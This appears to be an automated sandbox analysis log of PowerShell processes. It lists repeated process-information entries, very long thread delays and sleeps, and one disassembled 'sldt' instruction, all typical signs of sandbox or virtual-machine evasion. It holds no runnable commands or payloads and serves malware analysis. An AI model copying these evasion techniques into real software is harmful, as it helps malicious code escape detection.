Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9789			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8751			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6444	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6528	Thread sleep count: 8751 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -899890s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -899500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -899358s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -899234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -899106s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -898953s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -898843s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -898703s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -898590s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -898453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -898250s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -898094s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -897953s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -897794s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -897669s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -897547s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -897369s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -897218s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -897093s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -896953s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -896828s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -896641s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -896500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -896390s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -896281s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -896172s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_00007FF9A7990E83 sldt word ptr [eax-06584614h]

0_2_00007FF9A7990E83

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899890	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899500	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899358	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899234	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899106	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898953	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898843	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898703	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898590	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898453	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898250	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898094	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897953	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897794	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897669	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897547	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897369	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897218	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897093	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896953	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896828	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896641	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896500	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896390	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896281	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 896172	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899890	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899500	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899358	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899234	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899106	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898953	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898843	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898703	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898590	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898453	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898250	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 898094	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897953	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897794	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 897669	Jump to behavior
